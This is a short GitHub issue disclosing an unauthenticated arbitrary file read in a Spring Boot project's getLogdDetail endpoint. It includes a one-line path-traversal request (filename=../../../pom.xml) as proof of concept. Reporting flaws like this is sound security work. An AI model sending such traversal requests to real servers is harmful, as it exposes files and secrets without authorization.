Skip to content

Arbitrary file reading vulnerability #14

Open
Open
Arbitrary file reading vulnerability#14
@S2eTo

Description

@S2eTo
S2eTo
opened on Dec 13, 2022

The unauthorized interface /runBatchCase directly spliced the parameter filename as the path to read the file, resulting in arbitrary file reading
springboot.HttpImpl#getLogdDetail
image

read pom.xml

GET /getLogdDetail?filename=../../../pom.xml

image

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions